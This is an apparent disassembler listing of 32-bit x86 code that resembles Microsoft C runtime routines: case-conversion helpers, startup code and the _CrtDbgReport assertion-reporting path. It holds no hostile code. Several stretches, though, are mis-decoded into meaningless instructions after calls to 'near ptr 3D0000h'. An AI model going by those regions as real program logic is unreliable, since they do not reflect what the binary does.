		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4207CA
; ---------------------------------------------------------------------------


loc_4207B3:				; CODE XREF: seg000:0042079Bj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 157h
		mov	[ebp-4], eax


loc_4207CA:				; CODE XREF: seg000:004207B1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420803
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42081A
; ---------------------------------------------------------------------------


loc_420803:				; CODE XREF: seg000:004207EBj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 117h
		mov	[ebp-4], eax


loc_42081A:				; CODE XREF: seg000:00420801j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_44FD20, 1
		jle	short loc_420850
		push	20h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_420865
; ---------------------------------------------------------------------------


loc_420850:				; CODE XREF: seg000:0042083Bj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 20h
		mov	[ebp-4], eax


loc_420865:				; CODE XREF: seg000:0042084Ej
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 80h
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 7Fh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	ds:dword_44FD20, 1
		jle	short loc_4208B5
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_4208CC
; ---------------------------------------------------------------------------


loc_4208B5:				; CODE XREF: seg000:0042089Dj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 103h
		mov	[ebp-4], eax


loc_4208CC:				; CODE XREF: seg000:004208B3j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_4208E1
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_4208E1
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4208E8
; ---------------------------------------------------------------------------


loc_4208E1:				; CODE XREF: seg000:004208D0j
					; seg000:004208D6j
		mov	dword ptr [ebp-8], 1


loc_4208E8:				; CODE XREF: seg000:004208DFj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	ds:dword_44FD20, 1
		jle	short loc_420915
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp-4], eax
		jmp	short loc_42092C
; ---------------------------------------------------------------------------


loc_420915:				; CODE XREF: seg000:004208FDj
		mov	ecx, [ebp+8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 107h
		mov	[ebp-4], eax


loc_42092C:				; CODE XREF: seg000:00420913j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_420941
		cmp	dword ptr [ebp+8], 5Fh
		jz	short loc_420941
		mov	dword ptr [ebp-8], 0
		jmp	short loc_420948
; ---------------------------------------------------------------------------


loc_420941:				; CODE XREF: seg000:00420930j
					; seg000:00420936j
		mov	dword ptr [ebp-8], 1


loc_420948:				; CODE XREF: seg000:0042093Fj
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420960	proc near		; CODE XREF: sub_417851+6p
					; sub_41786F+4Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_420987
		cmp	[ebp+arg_0], 41h
		jl	short loc_420982
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_420982
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_420982:				; CODE XREF: sub_420960+11j
					; sub_420960+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_4209EF
; ---------------------------------------------------------------------------


loc_420987:				; CODE XREF: sub_420960+Bj
		push	offset dword_4EED14
		call	ds:dword_4F1428	; InterlockedIncrement
		cmp	ds:dword_4EED10, 0
		jz	short loc_4209B9
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement
		push	13h
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_4209C0
; ---------------------------------------------------------------------------


loc_4209B9:				; CODE XREF: sub_420960+39j
		mov	[ebp+var_4], 0


loc_4209C0:				; CODE XREF: sub_420960+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_420A00
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4209E1
		push	13h
		call	sub_421B20
		add	esp, 4
		jmp	short loc_4209EC
; ---------------------------------------------------------------------------


loc_4209E1:				; CODE XREF: sub_420960+73j
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement


loc_4209EC:				; CODE XREF: sub_420960+7Fj
		mov	eax, [ebp+arg_0]


loc_4209EF:				; CODE XREF: sub_420960+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_420960	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420A00	proc near		; CODE XREF: sub_420960+64p
					; sub_435D40+94p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_420A2C
		cmp	[ebp+arg_0], 41h
		jl	short loc_420A24
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_420A24
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_420A24:				; CODE XREF: sub_420A00+13j
					; sub_420A00+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_420B27
; ---------------------------------------------------------------------------


loc_420A2C:				; CODE XREF: sub_420A00+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_420A73
		cmp	ds:dword_44FD20, 1
		jle	short loc_420A51
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_420A65
; ---------------------------------------------------------------------------


loc_420A51:				; CODE XREF: sub_420A00+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 1
		mov	[ebp+var_10], ecx


loc_420A65:				; CODE XREF: sub_420A00+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_420A73
		mov	eax, [ebp+arg_0]
		jmp	loc_420B27
; ---------------------------------------------------------------------------


loc_420A73:				; CODE XREF: sub_420A00+33j
					; sub_420A00+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_420ABC
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_420ACD
; ---------------------------------------------------------------------------


loc_420ABC:				; CODE XREF: sub_420A00+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_420ACD:				; CODE XREF: sub_420A00+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	100h
		mov	edx, ds:dword_4EEA70
		push	edx
		call	loc_42BB40
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_420B01
		mov	eax, [ebp+arg_0]
		jmp	short loc_420B27
; ---------------------------------------------------------------------------


loc_420B01:				; CODE XREF: sub_420A00+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_420B11
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_420B27
; ---------------------------------------------------------------------------


loc_420B11:				; CODE XREF: sub_420A00+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_420B27:				; CODE XREF: sub_420A00+27j
					; sub_420A00+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_420A00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_439D28
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFA4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_4F1434	; GetVersion
		mov	ds:dword_4EE96C, eax
		mov	eax, ds:dword_4EE96C
		shr	eax, 8
		and	eax, 0FFh
		mov	ds:dword_4EE978, eax
		mov	ecx, ds:dword_4EE96C
		and	ecx, 0FFh
		mov	ds:dword_4EE974, ecx
		mov	edx, ds:dword_4EE974
		shl	edx, 8
		add	edx, ds:dword_4EE978
		mov	ds:dword_4EE970, edx
		mov	eax, ds:dword_4EE96C
		shr	eax, 10h
		and	eax, 0FFFFh
		mov	ds:dword_4EE96C, eax
		push	1
		call	sub_422000
		add	esp, 4
		test	eax, eax
		jnz	short loc_420BC4
		push	1Ch
		call	sub_420CD0
		add	esp, 4


loc_420BC4:				; CODE XREF: seg000:00420BB8j
		call	sub_425B50
		test	eax, eax
		jnz	short loc_420BD7
		push	10h
		call	sub_420CD0
		add	esp, 4


loc_420BD7:				; CODE XREF: seg000:00420BCBj
		mov	dword ptr [ebp-4], 0
		call	loc_4281D0
		call	near ptr 3D0000h
		inc	esi
		mov	ds:dword_4EF068, eax
		call	sub_42C7E0
		mov	ds:dword_4EE9D4, eax
		call	sub_42C2D0
		call	sub_42C180
		call	sub_41D990
		mov	dword ptr [ebp-30h], 0
		lea	ecx, [ebp-5Ch]
		push	ecx
		call	near ptr 3D0000h
		popa
		call	sub_42C0C0
		mov	[ebp-64h], eax
		mov	edx, [ebp-30h]
		and	edx, 1
		test	edx, edx
		jz	short loc_420C37
		mov	eax, [ebp-2Ch]
		and	eax, 0FFFFh
		mov	[ebp-6Ch], eax
		jmp	short loc_420C3E
; ---------------------------------------------------------------------------


loc_420C37:				; CODE XREF: seg000:00420C28j
		mov	dword ptr [ebp-6Ch], 0Ah


loc_420C3E:				; CODE XREF: seg000:00420C35j
		mov	ecx, [ebp-6Ch]
		push	ecx
		mov	edx, [ebp-64h]
		push	edx
		push	0
		push	0
		call	near ptr 3D0000h
		in	eax, dx
		push	eax
		call	loc_402710
		mov	[ebp-60h], eax
		mov	eax, [ebp-60h]
		push	eax
		call	sub_41D9D0
		mov	ecx, [ebp-14h]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp-68h], eax
		mov	ecx, [ebp-14h]
		push	ecx
		mov	edx, [ebp-68h]
		push	edx
		call	sub_42BEA0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-68h]
		push	eax
		call	sub_41D9F0
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420CA0	proc near		; CODE XREF: sub_41EF20+8Dp
					; sub_41FE90+2Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4EE9DC, 1
		jnz	short loc_420CB1
		call	sub_42CAE0


loc_420CB1:				; CODE XREF: sub_420CA0+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CB30
		add	esp, 4
		push	0FFh
		call	ds:off_44FD30
		add	esp, 4
		pop	ebp
		retn
sub_420CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420CD0	proc near		; CODE XREF: seg000:00420BBCp
					; seg000:00420BCFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4EE9DC, 1
		jnz	short loc_420CE1
		call	sub_42CAE0


loc_420CE1:				; CODE XREF: sub_420CD0+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CB30
		add	esp, 4
		push	0FFh
		call	ds:dword_4F12F8	; ExitProcess
		pop	ebp
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: seg000:00420F23p
					; sub_4211A0+33p
		push	ebp
		mov	ebp, esp
		call	ds:dword_4F1438	; DebugBreak
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_420D20
		cmp	dword ptr [ebp+8], 3
		jl	short loc_420D25


loc_420D20:				; CODE XREF: seg000:00420D18j
		or	eax, 0FFFFFFFFh
		jmp	short loc_420D63
; ---------------------------------------------------------------------------


loc_420D25:				; CODE XREF: seg000:00420D1Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		jnz	short loc_420D37
		mov	eax, [ebp+8]
		mov	eax, ds:dword_44FD3C[eax*4]
		jmp	short loc_420D63
; ---------------------------------------------------------------------------


loc_420D37:				; CODE XREF: seg000:00420D29j
		mov	ecx, [ebp+0Ch]
		and	ecx, 0FFFFFFF8h
		test	ecx, ecx
		jz	short loc_420D46
		or	eax, 0FFFFFFFFh
		jmp	short loc_420D63
; ---------------------------------------------------------------------------


loc_420D46:				; CODE XREF: seg000:00420D3Fj
		mov	edx, [ebp+8]
		mov	eax, ds:dword_44FD3C[edx*4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	ds:dword_44FD3C[ecx*4],	edx ; CODE XREF: seg000:00420DCDj
		mov	eax, [ebp-4]


loc_420D63:				; CODE XREF: seg000:00420D23j
					; seg000:00420D35j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_420D80
		cmp	dword ptr [ebp+8], 3
		jl	short loc_420D87


loc_420D80:				; CODE XREF: seg000:00420D78j
		mov	eax, 0FFFFFFFEh
		jmp	short near ptr loc_420DE6+4
; ---------------------------------------------------------------------------


loc_420D87:				; CODE XREF: seg000:00420D7Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFAh
		jnz	short loc_420D99
		mov	eax, [ebp+8]
		mov	eax, ds:dword_44FD48[eax*4]
		jmp	short near ptr loc_420DE6+4
; ---------------------------------------------------------------------------


loc_420D99:				; CODE XREF: seg000:00420D8Bj
		mov	ecx, [ebp+8]
		mov	edx, ds:dword_44FD48[ecx*4]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFCh
		jnz	short loc_420DC0
		push	0FFFFFFF5h
		call	near ptr 3D0000h
		mov	edi, 89084D8Bh
		add	al, 8Dh
		dec	eax
		std
		inc	esp
		add	bl, ch
		daa


loc_420DC0:				; CODE XREF: seg000:00420DAAj
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFBh
		jnz	short near ptr loc_420DD9+1
		push	0FFFFFFF4h
		call	near ptr 3D0000h
		jno	short near ptr loc_420D59+1
		push	ebp
		or	[ecx-2B76AFCh],	cl
		inc	esp
		add	bl, ch


loc_420DD9:				; CODE XREF: seg000:00420DC4j
		or	eax, 8B08458Bh
		dec	ebp
		or	al, 89h
		or	al, 85h
		dec	eax
		std
		inc	esp


loc_420DE6:				; CODE XREF: seg000:00420D85j
					; seg000:00420D97j
		add	[ebx-1A7403BBh], cl
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4EF064
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	ds:dword_4EF064, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_420E10:				; CODE XREF: sub_41ACF0+24p
					; sub_41AD80+2Cp ...
		push	ebp
		mov	ebp, esp
		mov	eax, 302Ch
		call	sub_41DEB0
		push	edi
		mov	byte ptr [ebp-3008h], 0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp-3007h]
		rep stosd
		stosw
		stosb
		mov	byte ptr [ebp-2008h], 0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp-2007h]
		rep stosd
		stosw
		stosb
		mov	byte ptr [ebp-1000h], 0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp-0FFFh]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+1Ch]
		mov	[ebp-1004h], eax
		cmp	dword ptr [ebp+8], 0
		jl	short loc_420E7E
		cmp	dword ptr [ebp+8], 3
		jl	short loc_420E86


loc_420E7E:				; CODE XREF: seg000:00420E76j
		or	eax, 0FFFFFFFFh
		jmp	loc_42119B
; ---------------------------------------------------------------------------


loc_420E86:				; CODE XREF: seg000:00420E7Cj
		cmp	dword ptr [ebp+8], 2
		jnz	loc_420F30
		push	offset dword_44FD38
		call	ds:dword_4F1428	; InterlockedIncrement
		test	eax, eax
		jle	loc_420F30
		cmp	ds:dword_4EE9E0, 0
		jnz	short loc_420EEE
		push	offset aUser32_dll_0 ; "user32.dll"
		call	ds:dword_4F130C	; LoadLibraryA
		mov	[ebp-300Ch], eax
		cmp	dword ptr [ebp-300Ch], 0
		jz	short loc_420EE6
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp-300Ch]
		push	ecx
		call	ds:dword_4F1314
		mov	ds:dword_4EE9E0, eax
		cmp	ds:dword_4EE9E0, 0
		jnz	short loc_420EEE


loc_420EE6:				; CODE XREF: seg000:00420EC4j
		or	eax, 0FFFFFFFFh
		jmp	loc_42119B
; ---------------------------------------------------------------------------


loc_420EEE:				; CODE XREF: seg000:00420EAAj
					; seg000:00420EE4j
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		push	offset aSecondChanceAs ; "Second Chance	Assertion Failed: File %s"...
		lea	ecx, [ebp-2008h]
		push	ecx
		call	ds:dword_4EE9E0
		add	esp, 10h
		lea	edx, [ebp-2008h]
		push	edx
		call	near ptr 3D0000h
		loope	near ptr loc_420F79+8
		cmp	ch, bh
		inc	esp
		add	bh, bh
		adc	eax, offset dword_4F1424
		call	sub_420D00
		or	eax, 0FFFFFFFFh
		jmp	loc_42119B
; ---------------------------------------------------------------------------


loc_420F30:				; CODE XREF: seg000:00420E8Aj
					; seg000:00420E9Dj
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_420F6D
		mov	eax, [ebp-1004h]
		push	eax
		mov	ecx, [ebp+18h]
		push	ecx
		push	0FEDh
		lea	edx, [ebp-1000h]
		push	edx
		call	sub_41D160
		add	esp, 10h
		test	eax, eax
		jge	short loc_420F6D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_41E550
		add	esp, 8


loc_420F6D:				; CODE XREF: seg000:00420F34j
					; seg000:00420F57j
		cmp	dword ptr [ebp+8], 2
		jnz	short loc_420FA5
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_420F85


loc_420F79:				; CODE XREF: seg000:00420F17j
		mov	dword ptr [ebp-3028h], offset aAssertionFaile ;	"Assertion failed: "
		jmp	short loc_420F8F
; ---------------------------------------------------------------------------


loc_420F85:				; CODE XREF: seg000:00420F77j
		mov	dword ptr [ebp-3028h], offset aAssertionFai_0 ;	"Assertion failed!"


loc_420F8F:				; CODE XREF: seg000:00420F83j
		mov	ecx, [ebp-3028h]
		push	ecx
		lea	edx, [ebp-3008h]
		push	edx
		call	sub_41E550
		add	esp, 8


loc_420FA5:				; CODE XREF: seg000:00420F71j
		lea	eax, [ebp-1000h]
		push	eax
		lea	ecx, [ebp-3008h]
		push	ecx
		call	sub_41E560
		add	esp, 8
		cmp	dword ptr [ebp+8], 2
		jnz	short loc_420FFA
		mov	edx, [ebp+8]
		mov	eax, ds:dword_44FD3C[edx*4]
		and	eax, 1
		test	eax, eax
		jz	short loc_420FE6
		push	offset asc_439D68 ; "\r"
		lea	ecx, [ebp-3008h]
		push	ecx
		call	sub_41E560
		add	esp, 8


loc_420FE6:				; CODE XREF: seg000:00420FD0j
		push	offset asc_439D64 ; "\n"
		lea	edx, [ebp-3008h]
		push	edx
		call	sub_41E560
		add	esp, 8


loc_420FFA:				; CODE XREF: seg000:00420FBFj
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_421042
		lea	eax, [ebp-3008h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		push	offset aSDS	; "%s(%d) : %s"
		push	1000h
		lea	eax, [ebp-2008h]
		push	eax
		call	sub_41D360
		add	esp, 18h
		test	eax, eax
		jge	short loc_421040
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp-2008h]
		push	ecx
		call	sub_41E550
		add	esp, 8


loc_421040:				; CODE XREF: seg000:0042102Aj
		jmp	short loc_421058
; ---------------------------------------------------------------------------


loc_421042:				; CODE XREF: seg000:00420FFEj
		lea	edx, [ebp-3008h]
		push	edx
		lea	eax, [ebp-2008h]
		push	eax
		call	sub_41E550
		add	esp, 8


loc_421058:				; CODE XREF: seg000:loc_421040j
		cmp	ds:dword_4EF064, 0
		jz	short loc_42109C
		lea	ecx, [ebp-1008h]
		push	ecx
		lea	edx, [ebp-2008h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	ds:dword_4EF064
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42109C
		cmp	dword ptr [ebp+8], 2
		jnz	short loc_421091
		push	offset dword_44FD38
		call	ds:dword_4F1424	; InterlockedDecrement


loc_421091:				; CODE XREF: seg000:00421084j
		mov	eax, [ebp-1008h]
		jmp	loc_42119B
; ---------------------------------------------------------------------------


loc_42109C:				; CODE XREF: seg000:0042105Fj
					; seg000:0042107Ej
		mov	ecx, [ebp+8]
		mov	edx, ds:dword_44FD3C[ecx*4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4210EB
		mov	eax, [ebp+8]
		cmp	ds:dword_44FD48[eax*4],	0FFFFFFFFh
		jz	short loc_4210EB
		push	0
		lea	ecx, [ebp-3010h]
		push	ecx
		lea	edx, [ebp-2008h]
		push	edx
		call	sub_41AC70
		add	esp, 4
		push	eax
		lea	eax, [ebp-2008h]
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, ds:dword_44FD48[ecx*4]
		push	edx
		call	near ptr 3D0000h
		pop	esi


loc_4210EB:				; CODE XREF: seg000:004210ABj
					; seg000:004210B8j
		mov	eax, [ebp+8]
		mov	ecx, ds:dword_44FD3C[eax*4]
		and	ecx, 2
		test	ecx, ecx
		jz	short near ptr loc_421108+1
		lea	edx, [ebp-2008h]
		push	edx
		call	near ptr 3D0000h


loc_421108:				; CODE XREF: seg000:004210FAj
		mov	edi, 8B08458Bh
		or	al, 85h
		cmp	al, 0FDh
		inc	esp
		add	[ebx-367AFB1Fh], al
		jz	short loc_421188
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_42113D
		push	0Ah
		lea	edx, [ebp-3024h]
		push	edx
		mov	eax, [ebp+10h]
		push	eax
		call	sub_42CD40
		add	esp, 0Ch
		mov	[ebp-302Ch], eax
		jmp	short loc_421147
; ---------------------------------------------------------------------------


loc_42113D:				; CODE XREF: seg000:0042111Ej
		mov	dword ptr [ebp-302Ch], 0


loc_421147:				; CODE XREF: seg000:0042113Bj
		lea	ecx, [ebp-1000h]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		mov	eax, [ebp-302Ch]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4211A0
		add	esp, 14h
		mov	[ebp-1008h], eax
		cmp	dword ptr [ebp+8], 2
		jnz	short loc_421180
		push	offset dword_44FD38
		call	ds:dword_4F1424	; InterlockedDecrement


loc_421180:				; CODE XREF: seg000:00421173j
		mov	eax, [ebp-1008h]
		jmp	short loc_42119B
; ---------------------------------------------------------------------------


loc_421188:				; CODE XREF: seg000:00421118j
		cmp	dword ptr [ebp+8], 2
		jnz	short loc_421199
		push	offset dword_44FD38
		call	ds:dword_4F1424	; InterlockedDecrement


loc_421199:				; CODE XREF: seg000:0042118Cj
		xor	eax, eax


loc_42119B:				; CODE XREF: seg000:00420E81j
					; seg000:00420EE9j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211A0	proc near		; CODE XREF: seg000:00421161p

var_1138	= dword	ptr -1138h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= dword	ptr -1114h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_41DEB0


loc_4211AD:				; CODE XREF: sub_4211A0+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_4211D8
		push	offset aSzusermessageN ; "szUserMessage	!= NULL"
		push	0
		push	1DAh
		push	offset aDbgrpt_c ; "dbgrpt.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4211D8
		call	sub_420D00


loc_4211D8:				; CODE XREF: sub_4211A0+11j
					; sub_4211A0+31j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4211AD
		push	104h
		lea	ecx, [ebp+var_108]
		push	ecx
		push	0
		call	near ptr 3D0000h
		push	ecx
		test	eax, eax
		jnz	short loc_42120A
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_41E550
		add	esp, 8


loc_42120A:				; CODE XREF: sub_4211A0+54j
		lea	eax, [ebp+var_108]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_42124D
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_4], edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41D800
		add	esp, 0Ch


loc_42124D:				; CODE XREF: sub_4211A0+82j
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_1110],	ecx
		cmp	[ebp+var_1110],	0
		jz	short loc_4212A8
		mov	edx, [ebp+var_1110]
		push	edx
		call	sub_41AC70
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_4212A8
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp+var_1110]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_1110],	edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_41D800
		add	esp, 0Ch


loc_4212A8:				; CODE XREF: sub_4211A0+BDj
					; sub_4211A0+D1j
		cmp	[ebp+arg_0], 2
		jnz	short loc_4212BA
